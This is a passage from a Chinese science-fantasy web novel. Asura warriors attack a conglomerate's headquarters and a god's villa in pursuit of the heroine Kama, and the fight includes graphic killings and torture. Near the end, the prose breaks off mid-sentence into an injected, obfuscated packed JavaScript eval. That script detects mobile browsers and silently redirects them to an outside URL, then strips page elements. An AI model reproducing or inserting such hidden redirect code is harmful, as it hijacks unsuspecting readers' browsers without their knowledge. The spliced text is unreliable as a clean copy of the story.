“见鬼!这里是总部大厦D01层,已经是最底层,哪还会有下面?下面处于污染区,早就被废弃了!” “但……能量反应越来越强了——有东西在向这里不断接近!” 三十个全副武装的保安战斗员早已准备万全,可他们不知道究竟是什么引发了系统警报,也不知道自己即将要面对的是什么,就在能量探测器的报警频率越来越高,大家人心惶惶的时候,一个男人的声音响起: “所有人都离开这里吧。” 众人转眼望去,只见一个红发赤目的白衣男子不知何时出现在他们身后。 “希……希格玛先生?”保安队长吃了一惊。 “我们正在进行某项机密试验,这是系统误报。”希格玛平静地说,“我已经把警报关掉了,那个高能量体是一个试验品,出于公司机密和安全,大家还是先回避一下比较好。” 希格玛是世界集团的首席科技官,这方面的事情他当然是最权威的,虽然能量探测器甚至因为负荷过大已失灵,整个楼层都开始微微颤抖,但希格玛明显不希望有人继续待在这里,所以保安人员还是很快地撤离了。 “希格玛先生,您……您一个人在这里,真的没有问题吗?”队长在离开时小心翼翼地望着希格玛。 “哦,放心吧,不会有事的。”他微笑着摇了摇头。 待最后一个保安战斗员离开D01层,希格玛的眼中立即闪起红光,很快他全身都开始发光,这种奇特的红光从他的脚下开始迅速向四周扩散,形成了一个巨大的正方形领域。 这是属于他天神机体的能力,被称作“希格玛领域”,这个边长大约两百米的红色正方形已形成结界,与现实世界互不干涉的小型平行空间。 希格玛面前三十米处,地板突然碎裂,一个蓝色光球升起,里面正是引起系统警报的始作俑者。 裸体的巨人很快便发觉自己正身处他人的领域之中,他认出了面前的红发男子,当即进入攻击态势——正是这个人,出现在阿什提警察局的地下车库,将卡玛从自己身边带走的! 真是奇怪……因陀罗已将这大个子的能量全部吸收,按理他应完全失去行动能力了才对,可为什么……中央神庙的记录表明他的深层意识中曾发生激烈活动,换句话说也就是在做梦了…… 是因为梦境而导致他突然苏醒的吗?但就算脑部有其他的能量供应系统,身体却是绝对动不了的……可是……天,从没在阿修罗身上见到过如此程度的高能量反应,几乎可以跟我和因陀罗的天神机体匹敌了啊…… 巨人身上散发出来的能量波动,连身为天神的希格玛也倍感压力,他深深庆幸刚才及时支开了那些保安人员,展开了结界,否则直接战斗的话,别说整栋世界大厦保不住,搞不好连这座城市也会变成废墟! “我并没有恶意。”希格玛试图让这巨人冷静下来,“我们没有必要战斗——你明白吗?” 巨人气喘如牛,他情绪过于激动,甚至有能量外泄的迹象,他发出如雷的低咆,含混不清,希格玛仔细辨听,发觉他似乎是在重复地念着那女孩的名字。 “你的同伴现在很安全,有人在保护她。”他说。 想不到这话却好像激怒了那巨人,他大吼一声,全身流光溢彩,紫蓝色的光顺着奇异的纹路从左胸开始向颈部、双肩、腹部和四肢蔓延,与此同时希格玛感到对方的能量骤增,已快逼近结界的承受极限! 那种紫蓝色的光……那种独特的纹案…… 希格玛突然非常困惑——他发誓自己曾在什么场合下见过类似……不,是一模一样的情景。 如此强大的力量,如此特殊的展现方式,须弥没有任何一位天神的力量特征与其吻合,虽然这巨人看上去确实与帝拜的阿修罗机体非常相似,但同时他身上又有太多无法解释的现象…… 当然更不可能和摩诃的人类有关,这个大家伙不是天神,不是阿修罗,也不是人类,他到底是什么?……他和因陀罗把这巨人送往中央神庙让三连神分析,却始终没有得出结论…… 巨人悬浮在半空中,蓝光犹如火焰环绕着他的身体,看到他摆出的姿势,希格玛大吃一惊! 这……这家伙在……他在缔结手印! 这种类型的手印…… 他曾在一千年前亲眼目睹“他们”使用过。 霎那间,希格玛终于明白,这种令身为天神的他也感到毛骨悚然的感觉到底是因何而来。 关于这巨人的身份,他终于得出了一个结论。 一个仅此合理却又荒谬无比的结论。 这…… 这怎么可能?…… “他们”不是在那场战争之后就全体遭到镇压了吗?那种足以与三连神抗衡的恐怖力量……不是早在一千年前就已被永远封印了吗?! 若这就是“阿汉”的真面目,那么,莫非那个被称为“卡玛”的女孩就是…… 大威德·无迴散难印·大覆灭! 该死!!—— 卡玛再度惊醒。 她呼吸混浊,心乱如麻。 她最近总是做梦,但还没有哪个梦能如此真实,一切她都看得通通透透,就好像那些事情发生时她就在现场,她甚至连梦里那些人心中所想都能看穿,没有一次被打断,没有任何模糊或干扰,梦如同一堵巨大的墙,向她靠近,将她逼入死角,挤压她的身体,她眼睁睁地看着自己一点一点地支离破碎,却没有丝毫感触,真实与虚幻之间的界限如此暧昧,她无从判断,只能接受全部的恐慌。 为什么她会做这样的梦?为什么要她看到这些? 她静静地在床上坐着,企图把纷乱的思绪理清,然而从她的表情来看,大概是徒劳无功。不知过了多久,她慢慢地掀开被单,打算下床。 这里又是什么地方?她为什么会在这里?现在是什么时候了?之前出了什么事?在她做梦的时候又发生了什么?…… 问题接踵而至,她突然觉得好累,累得她现在连去弄个明白的冲动都没有——反正早晚能得到答案。 她睡够了,但还是疲乏,不是身体,而是精神——那个梦消耗掉的脑力大概比让她连续做三个精密的机体手术还要多,她是个机械师,不是幻想家。 地板上铺着质感极好的地毯,她本担心自己冰冷的脚会碰到更冷的地面,踩着柔软的地毯,她总算感到略微安心了一点。 房间里似乎装有感应器,她一下床,房间内便自动出现柔和的微光,朝南的墙壁调整了透明度,她能看到外面的景物——似乎这里不在市区内,可见度好了不少,能看到清晨暗红色的太阳和薄羊毛般的云。 正对着床的墙壁开启了影像功能,播放的是早间新闻。 她走进洗漱间,用凉水抹了把脸,有气无力地望着镜子里的自己。 除了憔悴还是憔悴,如同绝症患者,连黑眼圈都来了。 ……关于今天清晨在世界集团总部大厦发生的爆炸事件,世界集团已在十分钟前专门召开了新闻发布会,世界集团发言人做出声明,表示这次爆炸事件是由于其十七号实验室在进行机体能量负荷测试时因误操作而引起的。爆炸发生在世界集团总部大厦D01层,该大厦的总设计师表示爆炸并没有影响到大厦的核心架构,因此不会发生网络上某些人士散布的所谓“塌方现象”。 警方已将此次爆炸事件定性为工业事故,所幸事故发生前就近人员已接到警报并及时撤离,因此并无造成人员伤亡,但至于今次的实验室爆炸事件会不会给刚刚上市的克里希那人造人体系统的销售带来负面影响,分析家们普遍表示不容乐观——世界集团是世界最大的从事军用/民用机械技术开发和生产的跨国集团公司,虽然其产品广泛运用在各个领域,但一直以来面临国内外垄断倾销指控、个别机体失灵造成人员伤亡而引起的民事诉讼、无牌照机械师非法改动机体、黑客入侵以及各种传闻的困扰,是影响力最大同时也是最受关注和争议的企业…… 她听着那新闻,感觉有点不对劲,但又说不出哪里古怪,她觉得自己从来没有这样迟钝过。 “啊,您已经醒了吗?”冷不防耳边有人说话。 卡玛吓了一跳,转眼望去,却是个金发碧眼的陌生女人。 “哦,对不起。”她连连道歉,见卡玛只是一脸警觉地盯着自己,便又道:“这里是毗沙门先生的私人别墅,我叫丽亚,是这别墅的管家——毗沙门先生吩咐我安排您好好休息,您睡的还好吗?” 她敷衍地点了点头,忽而又问: “毗沙门先生是谁?……为什么我会在这里?” “毗沙门先生?当然是毗沙门财团的主人了。”丽亚有些奇怪地看着她,“是毗沙门先生带您来的……您不记得了吗?……” “丽亚。” 门口突然响起一个男人的声音。 “哦,毗沙门先生。”丽亚回头,向那男人微微颔首,“卡玛小姐已经醒了。” 顺着丽亚的目光,卡玛朝门口望去。 是他。 那相貌,那身形……还有那双让人过目不忘的金瞳。 毗沙门财团的……主人? 卡玛生硬地笑笑。 若是之前,她大概会一脸不置信,或是当成吹牛。 但现在,这对她来说已没什么好吃惊的了。 在梦里,这个男人是被称为“多闻”或“毗沙门”的天神。 是巧合吗?…… 11. 第 11 章 卡玛看着刹迦罗。 刹迦罗望着卡玛——两人都没说话。 “我去准备早餐。”丽亚说着,轻轻地离开了。 刹迦罗将门关上,朝卡玛走去。 卡玛向后退了两步。 “你怎么了?”停下脚步,刹迦罗问。 她没有回答。 “不舒服吗?”他感到了她的冷淡。 “你姓毗沙门?”她问。 “嗯。”他点了点头。 “你是——” “毗沙门财团的头头。”他平静地说,“我应该说过,很多天神在人间都拥有另一种身份。” “毗沙门财团的势力几乎遍及这世界上的每个角落,从政治和经济上暗中影响各国,也就是人所皆知的‘世界之影’。”卡玛说,“毗沙门财团的首脑几乎可以算是这个世界上最有权力的人——如果这个人真的存在的话。” 他耸了耸肩。 “在人间拥有如此权力,在天界也应该非同一般吧。” “这些并不重要。”他不愿再谈自己,“你感觉如何?有没有什么异常?” 她摇头。 “还能记起来,在地铁发生了什么吗?”他问。 她继续摇头。 “你在地铁站遇到了其他的阿修罗,你的朋友自我引爆,与它同归于尽了。”他略去了关于OK的部分,“对于你的朋友,我很抱歉——我会尽快联系世界集团,让他们为你的朋友准备新的身体的。” “OK呢?” “它很好。”他微微皱眉。 “哦。”卡玛似乎对什么事情也不关心了,“那么,接下来你打算怎样呢?” “我希望接下来的若干小时你能待在这里。”刹迦罗说,“这里处于严密保护之下,虽然面对阿修罗的入侵还是很勉强,但我想不到比这里更安全的地方了。” “你的委托人呢?”她垂着眼淡淡地问。 “似乎出了一些状况,我现在还不能确定带你去见他们的具体时间。”他答道,“早上在世界集团那边发生了一点意外——你确定你没事吗?” “我很好——只是有些累。”她低声说,“早上我不想吃东西,给我一杯不加糖的黑咖啡就可以了。” “好吧。”他转身向门口走去,“我需要去处理一些事情,有任何需要你都可以向丽亚提,她是这幢房子的管家,你可以在总部的范围内自由活动,但我想你大概没什么兴趣,外面有许多对你好奇的人。” “我需要在这里呆很久吗?”她的声音从他背后传来。 “也许不会。”他低声答道。 卡玛看着他带上门。 她对他说了谎,其实她很清楚在地铁站内发生了什么,但她有一种强烈的感觉,那就是自从那个身份不明的阿修罗出现后——尽管他因伊诺的自爆而没有采取进一步行动——一些事情已经在不知不觉中发生了变化,她不知道这些变化意味何如,但她可以确定,自己正在逐渐接近“真相”。 刹迦罗身上的谜越来越多,她自己也是一样,这个金眼男人的扑克脸下面一定还藏着什么,他的含糊其辞正让他们之间的关系开始变得暧昧,但那个梦已给出了相当多的暗示。 …… 光洁如镜的地板映着刹迦罗的身影,和他那张心事重重的脸。 事情会变成这样,连他也始料不及,那女孩看他的眼神中充满怀疑和戒备,仿佛他又变回了一个陌生人。从一开始他就知道这个任务不会太简单,然而今天清晨,猛然惊醒的他还没回过神来,便接到了世界集团总部发生爆炸的消息,当他急于理清思绪时,丽亚的一句话让事态变得更加混乱。 他相信他的女管家,所以他没想过要亲自检查那女孩的身体。 到底是怎么回事?他仔细回想过去十几个小时中发生过的一切,却没发现什么纰漏。 除了一点。 当他不在场时,那个突然出现的阿修罗在地铁站台对她做了些什么? OK没有给他答案,他也没从那女孩身上发现任何异样,刚才他问她感觉如何,她也说自己只是疲倦而已。 三连神,这次你们还真是让人搞不懂啊…… 忽然他的视野中闪起信号。 是我,希格玛——刹迦罗,你那边情况如何? “还好。”他说,“你呢?” 那个大个子已经被我们控制住了,但不知能维持多久——刹迦罗,这实在是太不可思议了,他的存在根本不符合逻辑,之前他的力量在吠舍级别的阿修罗也就是中等偏上,可是刚才我真的被吓到了。 “也许有某些因素令他开始觉醒了吧。”刹迦罗低声说,“三连神还是没有反应?” 自从它们进入自我维护更新状态后就再没有过任何动静,关于这个巨人的分析结果也迟迟没有出来,刚才因陀罗打算进入中央神庙,但是三连神却拒绝接见他——我从未见过他们的反应令人如此费解,无论如何,现在也不是保持沉默的时候吧……对了,那个女孩,是不是也有什么异常表现?她与这巨人关系如此密切,我甚至怀疑她的真正身份会不会就是…… “我也曾这样想过。”刹迦罗的脸色变得有些阴沉,“但是,希格玛,有一件事令我非常困惑,甚至现在让我有些不知所措。” 坏消息已经够多了啊…… “那个女孩身上,”刹迦罗说,“没有黑色的莲花图案。” 你说什么?…… “她也许不是我们要找的人——也许从一开始就弄错了,或者这是阿修罗给我们设下的圈套,或者是三连神某个不为人知计划的一部分,可能真相的碎片还没有搜集齐全,也可能是我们被引入歧途。” 你确定吗?刹迦罗,是她这样告诉你的,还是你亲自检查过?你的使命是在摩诃寻找身上有黑色莲花图案的女人并保护她,现在一切证据都表明那女孩绝对就是目标,她与这巨人身上的谜就是关键,此外三连神用不着派你到摩诃来浪费时间。 “希格玛,一千年前那场战争之后,‘他们’果真全部都遭到镇压了吗?”在保镖的伴随下,刹迦罗走出别墅,坐进了轿车。 “去世界大厦。”他对司机说,然后又回到与希格玛的对话中。 “种种迹象表明,千年前的战争并未完全终结,当时的残局没有被彻底收拾干净,在这世界上藏匿了一千年后,某些暗中酝酿的东西似乎已经到了即将爆发的临界点了——你应该早已有所察觉了吧。” 刹迦罗,你在怀疑三连神对世界有所隐瞒? “我的意思是,他们大概正在玩一场非常危险的游戏。”望着前方巨大繁华的城市,刹迦罗微微一笑。 你好像已经猜到了什么。 “不是全部,但似乎隐约有些眉目了。”刹迦罗说,“我正赶往世界大厦,有些事情我必须立即从三连神那里得到答案。” 三连神现在不会见你。 “如果这场游戏他们想赢,就不会拒绝接见我。” 那就祝你好运了——对了,你不在的话,那个女孩没问题吗? “财团里有人在暗中保护她。” 如果有阿修罗出现呢? “我已经在别墅周围设下结界了。” 她会逃走吗? “……你不是还有很多事要忙吗?” 我只是好奇随便问问而已……那么,待会见了。 切断语音通讯,刹迦罗脑海中突然闪现出了卡玛的眼睛。 那种眼神…… 她会逃走吗?…… 刹迦罗的别墅非常大,除了那个几乎是随传随到的女管家外便看不到什么人,别墅三面都是郁郁葱葱的乔木林,正对着大门的是一条林荫大道,四周非常安静,只有风刮过树叶发出的唦唦声和悦耳的鸟鸣,丽亚说刹迦罗不喜欢被打扰,所以没有他的允许任何人也不能进入这幢别墅,而当他不在的时候就由她全权打理。 卡玛并没有在别墅周围发现任何穿黑正装打黑领带戴黑眼镜的保镖,但她知道这里一定处于严密的防护之下,这个男人拥有一般人想象不到的权力和财富,他在阿什提市郊建起了他的府邸,宛如一个隐匿在宝座后的君王——而现在她正待在他的宫殿里,不知所措,尽管他的身份与她一点关系也没有,但她总是会感到浑身不自在。 她好像……被这家伙“软禁”了? 刹迦罗离开了三个小时,其间没有任何消息,新闻里不断地播放世界集团总部爆炸事件以及各种分析,也许这与他有关?毗沙门财团,与世界集团的关系想必是千丝万缕吧。 这里安静得让她想喊,若女管家丽亚没把OK带来,她一定会破门而出,谁敢阻拦,就让他尝尝滋味。 OK似乎真的很喜欢刹迦罗——好吧,看在OK的份上,她就再多等他一会。 幸而后来她在一个巨大的书房里找到了一些机器——全都是时下性能最好的货色,大部分在市面上都看不到,估计是世界集团在其专门机密试验机型的基础上专门为他定制的,卡玛一眼就看到了人造人体记忆芯片专用的连通器,她摸了摸裤袋,发现伊诺的芯片还在,便立即打开机器,五分钟整理记忆碎片,六分钟输入新的记忆,三分钟将人格虚拟化,平时需要两个多小时的工作用这里的设备只用了不到二十分钟便大功告成。 “伊诺。”卡玛低声说。 屏幕上闪出了一个人影,他看上去很年轻,这是伊诺二十岁时的样子,那时他还没有接受大面积身体改造。 嘿,卡玛。 伊诺挥了挥手,向她打了个招呼。 “你这笨蛋。”看他一副若无其事的样子,卡玛忍不住骂道,“干嘛非要自爆?这是蝎子留给你的最后的东西了,就算你想做英雄,也好歹想想他吧。” 冷酷的小姐,我自爆还不是为了让你不被那家伙带走?如果不是我当机立断,你现在大概身上已经被那群怪物插满管子泡在溶液里做标本了吧? “但你自爆也没有阻止那个阿修罗。”卡玛撇了撇嘴,“伊诺,除非你答应我以后再不做这种事,否则我是不会答应帮你的,这种伪英雄主义行为除了让我觉得内疚外毫无意义。” 一见到伊诺她就忍不住想骂他,虽然她自己也知道这样没什么道理。 你现在这个样子,一点也不像有在内疚啊…… “我已经内疚过了。”卡玛不客气地说。 其实——刚才你说我自爆也没有把那阿修罗怎样,我就在想下次更换身体时要加强自爆的威力了……嘿,别激动,卡玛,你知道我总是有完全准备的,就算我之前没把记忆芯片塞进你裤带里,你也应该知道我在其他地方有备份的,嗯……大概会缺少最近一星期的记忆,但如蟑螂般的我肯定是不会就这样完全消失的呀……对了,我看你也别太难过了,说不定蝎子同样保留过外部记忆,只是我们不知道罢了,像他那么精明的人,在地下污染区混□□,怎么可能只给自己留一条命? “我也这样想。”卡玛淡淡地说,“尽管没法证明,但至少能让我好受些,也许现在他已经更换了新的身体在污染区其他地方重建蝎巢了……” 也许过一阵子你就会有他的消息了——对了,卡玛,你现在在哪里?那个金眼男呢? “我现在正在他的住处。”果然不出所料,她话音刚落伊诺就发出怪叫。 他居然带你回家?!还一起过夜?!——我们一不在你身边那家伙就对你做这样过分的事,简直不可原谅,要是阿汉知道了非把他的脑袋拧下来不可呀! “安静点。”卡玛叹了口气,“他没对我作什么。” 也许……对伊诺说关于那个梦的事不是什么好主意,卡玛想。 伊诺还在嘟哝,卡玛正想说些什么,但忽然间她愣住了。 咦,卡玛,你怎么了?…… “你听到了吗?……”卡玛压低声音。 什么? 卡玛听到了枪声。 就在她起身望向窗外的同时,一阵强光闪过,伴随着突如其来的巨响,在离别墅数百米处的树丛间爆起了一个半球形的蓝色光膜,剧烈爆炸引起的震动连卡玛都能感到,盯着天花板上摇摇欲坠的吊灯,卡玛心中暗暗咒骂。 这么快就找上门来了吗?…… “伊诺,待会见。”她飞快地说。 哎?到底怎么了?刚才那是什么声音—— 伊诺的话还没说完,卡玛已经切断了电源,伊诺的身影在屏幕上一闪而逝,她随即取出芯片,把OK丢进小铁笼,闪身离开了书房。 仅一瞬间的功夫,毗沙门财团已变成战场。 尽管之前已经按照接到的命令提升了警戒级别,然而突如其来的战斗开始后不到五分钟,总部的外围防线已被撕开一个裂口,负责财团总部安全的都是从世界各地征集而来的好手,可面对这次入侵,他们甚至还没反应过来就被击倒。 “第六小队失去联系!……第七、第八小队也没有回应!……” 安全总长的脸色难看到了极点,失去联系就意味着很有可能已被对方全灭,而现在他们连入侵者到底是什么来历、有多少人也没弄清,对方来势实在快得惊人,就如同凭空出现一般,刹迦罗先生离开没多久就出了这种状况,若不能尽快控制住局势,后果不堪设想!——是商业竞争对手派来的暴力分子?是与财团作对的恐怖集团?是不满财团地区政策的他国势力?……这都不可能,如此长驱直入,这世界上应该没有哪个组织或势力能够做到! “采集到目标影像了!” 他望向显示屏,不禁口瞪口呆。 “还……还有其他人吗?……” “没有发现其他活动迹象,应该就只有这一个人……” “胡说!——”他猛地一拳砸在控制台上,“这不可能!” “长……长官……目标消失了!” “你说什么?!……” 身后突然传来一阵惊呼,安全总长猛地回头,却发现方才监视屏上的那个人不知何时已出现在了指挥室里。 那是个身材魁伟的男人,一身野战装束,一看便知是个军人,他比指挥室里的任何人都要更高更壮,脸上杀气腾腾,让人不寒而栗。 安全总长使了个眼色,立即就有两名壮汉一前一后朝那军人飞快地扑去,那男人居然没有闪躲,见他被其中一人从身后束住,安全总长冷笑一声。 只要是被托尼挟制,没有人能挣开,托尼精通近身擒拿,他臂力经测定比军用人造人体还要强,连货柜卡车头都能被他挤扁,普通人落入他的怀抱只怕全身骨头都会被碾碎。 托尼的手臂上青筋条条爆起,但那军人面无表情,既没有痛苦的表情,也没有要反抗的意思,此时另一人狂吼一声,如同一辆开足马力的装甲车冲上前,抡起巨大的拳头朝那军人的头部砸去。 就是这样!马克的拳头经过精密改造,五英寸的合金钢板都能击穿,要砸碎这家伙的脑袋绝对不成问题! 指挥室里已经有人别开脸去,但安全总长却目不转睛,这个胆大包天的家伙居然敢单枪匹马入侵毗沙门财团总部,下场只有一个! 咔嚓!—— 骨头碎裂的声音响起,然而那魁伟军人脖子以上的部分并未想众人预想的那般变得血肉模糊,他满不在乎地活动着颈部,在一阵噼噼啪啪声中,他轻蔑地哼了一声。 “小孩子的把戏!” 马克炮弹般的一记重拳迎面轰在那巨人脸上,但结果是他的整只前臂彻底报废,而对方却若无其事,至于在身后挟制他的托尼状况却惨不忍睹——他的两只胳膊已被硬生生拧下来折成四截丢在地上。托尼天生神力,没有接受机体改造,现在已几乎成了一个血人,他两腮的肌肉剧烈地抽动着,但与心中的惊骇相比,□□上的剧烈痛楚反倒成了其次,他跌跌撞撞地后退了两步,面无血色,却始终咬紧牙关,一声不响。 “倒还有种。”巨人的左手指尖寒光一闪,“那就放过你罢。” 话音刚落,五道银色光弧划过,下一刻,除了托尼和那位长官,控制室里十余人全都被整整齐齐地削成几截,宛如散了架的木偶一般悄无声息地垮了下去,立即整个房间里弥漫起了一股令人作呕的腥味。 巨人迈开脚步朝那安全总长走去。 “别……别过来!……”惊恐万状的安全总长哆嗦着举起了枪,疯了似的狂扣扳机,子弹击中巨人的身体,却没造成任何伤害。 “你们的装备算是很不错了。”巨人冷笑道,“不过,人类的玩具对我一点用也没有呀。”他上前一把抓住那人的衣领把他整个人双脚离地提到半空,“她在哪里?” 见那人只是抖个不停,嘴巴张得老大却又半天说不出话,巨人不耐烦了,逮起他的左手轻轻一拗,折断了他一根手指。 “啊啊啊!——” 巨人狞笑道: “还不打算说吗?还要我弄断你几根手指?十根手指用完了还有身上的关节呀。” “我说!……我说!”那人嘶叫道,“她……她在……” “说出来他也会杀——”一旁的托尼突然低声吼道。 “她在刹迦罗的别墅里!……” “刹迦罗?”巨人愣了一下,随即他反应过来,“原来那天神叫这个名字呀……” 接着他手上一紧,只听咔嚓一声,那人的头颅软绵绵地歪向一边,再也没了动静。 巨人随手将手中的尸体丢开。 “你……你到底是……”托尼咬着牙问,“什么人?……” 巨人瞟了他一眼,之后不再理他。 “西洛,我们走。” 他的身影凭空消失,留下了失去双臂的托尼和满地碎尸。 那天神在别墅四周设下了防护结界,凭我的瞬间移动术无法进入。 “那就只好强攻进去了呀……” 巨人搓着脸上的胡茬,嘿嘿笑着,凝视着别墅前的喷水池。 水池中央有一尊石像,身披战铠,威风凛凛。 防护结界,正是以这尊石像为媒介建立起来的。 “这大概就是那天神本尊的样子吧?”巨人咔咔地掰着手指,“污染区地铁里让我们丢脸,现在也该你吃吃苦头了!” 说完他振臂一挥,三道如蛇一般的寒光袭向那石像,然而就在他发动进攻的一瞬间,石像的眼睛突然睁开,它的面前出现了一个金色的圆形法阵,两束金光从它眼中射出,瞬间斩断了寒光。 小心点!库巴! 在两位兄弟的警告下,库巴庞大的身躯一闪,避开了石像的攻击。 他脸一黑,举起双手便在胸前结印,蓝光如装甲一般裹住他的身体,石像似乎感应到了骤然增长的阿修罗之力,立即再度发起攻击,然而当金光击中这位阿修罗的胸膛后,却被光之护甲激起的蓝色涟漪弹开。 石像持续攻击,但已无法伤及库巴分毫,他一把扯掉上衣,大步冲到防护结界前,将铁钳般的双掌伸进泛着金光的天神结界前,他通体蓝光如同燃烧的火焰,横眉竖目,须发贲张,上半身肌肉瞬间膨胀起来,他粗声咆哮,天神结界竟抵挡不住这阿修罗的蛮力。 见结界快要坚持不住,石像改变了姿势,制造出了一个半径三米的金色光球轰向库巴,可他却凭着自己的阿修罗护盾硬抗下来,同时撕开了天神结界! …… 刹迦罗一惊。 “怎么?”希格玛问。 “有人侵入了我的结界。”他紧皱双眉,“我以为还能再拖延一会。” “而且是你不在财团的时候。”希格玛说,“如果是这样,你在那里布下的防卫系统大概已经失效了,只有部分刹帝利和婆罗门才有可能攻破你的结界,人类的力量根本挡不住他们,溃败不过是一瞬间的事。” “赶回去之前只能用精神体先撑着了。”刹迦罗眼中金光徒增。 三生无落叶秘法·一切支分身咒! 三连神还没有接受他的求见,然而现在他已不能再等。 施法完毕后,他连话都顾不上对希格玛说,便匆匆离去。 希格玛凝视着他的背影。 刹迦罗与那女孩,再加上那大个子,到底是…… …… 哗啦!—— 利刃般的丝线把石像切成碎块,天神结界立即全面瓦解。 库巴朝别墅走去,这时别墅正门突然被推开了。 一个蓝发女孩拎着一只小铁笼冲了出来,见自己前方几十米处正站着一个赤裸着上身蓝光闪闪的巨人,她大吃一惊,立即转身返回别墅内。 库巴看到她,不由得愣了愣。 就是她! 库巴冲上前,用膀子咣的一下撞碎大门,他正要追上去,忽然耳边响起西洛的声音: 库巴,还是让我来吧。 “哼,你以为她会听你的么?”每次要把身体的控制权换给自己的兄弟的时候,库巴总是很不情愿。 在地铁站她或许一时被那英俊的天神迷惑,但现在也许已不一样了呢。 库巴总算答应了,他的身上现出纵横交错的光纹。 西洛整了整衣领,突然身后传来一个女人的声音。 “别……别动!……” 他侧过身瞥了一眼,只见一个金发女子正用枪指着自己。 她的眼中充满恐惧,也许她还从未拿过枪,保险拴没打开,双手还在不停地颤抖——刚才那个恐怖的野蛮巨人转眼间变成了一个紫发白衣的英俊男子,她不停地眨眼,以为是自己的幻觉。 嘿,这女人长得真不错!——喂,杀了她怪可惜的,不如留给我吧! “在未经改造的人类当中,算是难得的美人了。”听着库巴的嚷嚷,西洛笑道,“想不到,天神也有这样的兴趣,品味倒是不错。” 哎?这是那天神的女人,那我更要尝尝滋味才行呀! 别浪费时间了,西洛,找到那女孩,然后我们回帝拜交差吧。 “别担心,那塔。”西洛说,“天神结界已经被库巴击溃,现在我可以自由地使用瞬间移动术,她跑不远的——这种时候居然不在被保护人的身边,还真是渎职呢,要是‘他们’知道了,大概也会很头疼吧?” 见那男人不断地自言自语,说着莫名其妙的话,丽亚手足无措。 “你就是那个女管家丽亚吧?”西洛微微一笑,“刹迦罗先生不在,我们冒昧到访,您不会介意吧?” 那人居然知道她的名字? “‘他’已经把进入这里后所看到、听到的一切都告诉了我们。”西洛环视着大厅四周,“作为一个守护者,居然没有发觉‘他’已附在那女孩身上潜入了自己的府邸,实在是太疏忽了。不过,‘他’手段高明,没被发现也许是因为那天神在人间能力有限吧……” “至于你……既然我大哥对你有兴趣,那就随他高兴好了。” 嗯?…… 西洛突然感到身后有些异样,立即闪身回避。 一个蓝色的光弹击中他原先所在的位置,将地板炸出一个大坑! 丽亚被爆炸产生的强大冲击力推开,在她即将倒地时有人扶住了她,丽亚惊惶地回头,却发现是那个女孩。 卡玛把她拉到门口,不由分说便将她推了出去。 “快逃吧,让所有人都立即离开!”她低声喝道,之后关上了门。 “真是有趣。”西洛的声音在她身后响起。 卡玛转过身,背靠大门。 “为什么要去而复返呢?”西洛问,“上次在地铁里发生的只是意外,你的力量奈何不了我们,这一点你应该很清楚。” 卡玛呼吸急促,没有说话。 西洛忽然扬了扬眉。 “哦……莫非你已经明白了?为了把事情彻底弄清楚,你觉得与其待在那位什么也不愿告诉你的天神身边,不如跟我们走?” “他会来的。”她说。 西洛低声笑了起来,肩头不断耸动。 “你对他疑虑重重,现在却又指望他能来保护你?你非常聪明,但有些时候却过于谨慎——在梦里看到的东西,本身已能解答你全部的问题吧?” 卡玛心中一惊。 “果然是你们搞的鬼。”她低声说。 “我不知道‘他’让你看到了什么,不过据说是与你的‘过去’有关的东西。”西洛说,“忘记了吗?在地铁站台遇到的黑衣男人,在他用指尖点中你前额的时候,就有些东西进去了吧?”他轻轻地敲了敲自己的头。 确实有这样的事,他为什么会知道? “那个人是谁?” “当然也是阿修罗了。”西洛迈步向前,“整个帝拜都在为你忙碌呢。” OK发出尖锐的叫声,它全身的毛都竖了起来,警告对方不要再接近。 “小东西。”西洛微微一笑,“你以为凭你的那点力量,真的能阻挡我们?——在地铁站,‘他’根本没被你伤到分毫。” 卡玛跟前突然闪出一片金光,在她与西洛之间展开一堵半透明的光壁。 光芒来自她手中的小笼。 竟是OK做的?…… 不敢多想,卡玛转身就跑。 “你还能跑到哪里去?”西洛漫不经心地一挥手,便将OK的光壁撕开一道裂口。 卡玛慌不择路,撞开了一道又一道门,刹迦罗的寝宅大得像一座宫殿,她根本不知道自己究竟身处何处,但她无法停下脚步,如果可以她宁愿自己呆在阿什提最肮脏最混乱的污染区的某个不为人知的角落。 只要能避开这些如影随形的魔鬼! 当她推开了另一道门后,不禁倒抽了一口冷气。 那个紫发白衣的男人正双臂环胸,面无表情地盯着她。 “别让明帝久等。”西洛冷冷地说,“他可不是个有耐心的人。” “我也一样。” 卡玛身后突然传来一个少年清亮的声音。 一束金光与她擦身而过,击中了西洛的肩膀。 少年一击得手,却不恋战,拉着卡玛就走。 “你是谁?” 少年没有回答。 卡玛打量着那少年——大概十二三岁,却戴着太阳眼镜,一脸与其外表不符的沉稳刚毅,看着他飘扬的黑色风衣,她似乎觉得自己曾在哪里见过这个孩子,却怎么也想不起来。 此外,还有一件事让卡玛感到不可思议。 少年拉着她在走廊里奔跑,经过一面镜子的时候却没留下身影,卡玛眨了眨眼,以为自己看错,但随后发现光亮的地板上同样只有她一个人的踪迹。 “你究竟是什么人?”她猛地停下脚步,反拉住少年的手腕。 少年一把摘掉太阳眼镜,露出金色的眼瞳。 “你是……” “我是他的精神体。”少年说,“他很快就会赶回来。” 说完不再理会她,径直朝前走了几步又回头道: “不想死的话,就跟我走。” 少年带着她来到一扇门前,将手置于其上,看上去平常无奇的门上显现出复杂的金色光纹后无声开启,他示意卡玛进去。 看起来是个普通的书房,没有任何显著的防护措施。 “这个房间能够屏蔽一切声音、光波、生命迹象和能量反应。”少年关上门,“这是他预先设下的结界,只要你不出去,任何人也确认不了你的位置。” “即使对方是阿修罗?” “即使对方是阿修罗。” 说完少年背对着她,盘腿席地而坐,一言不发。 “你好像不太喜欢我。”她突然开口。 “是吗?” “是的。” “你的感觉没有错。” “为什么?你是那个男人的精神体,换句话说你也代表着他的意识?” “潜意识。”少年纠正道。 “那是什么意思?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363290|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少年回头瞥了她一眼。 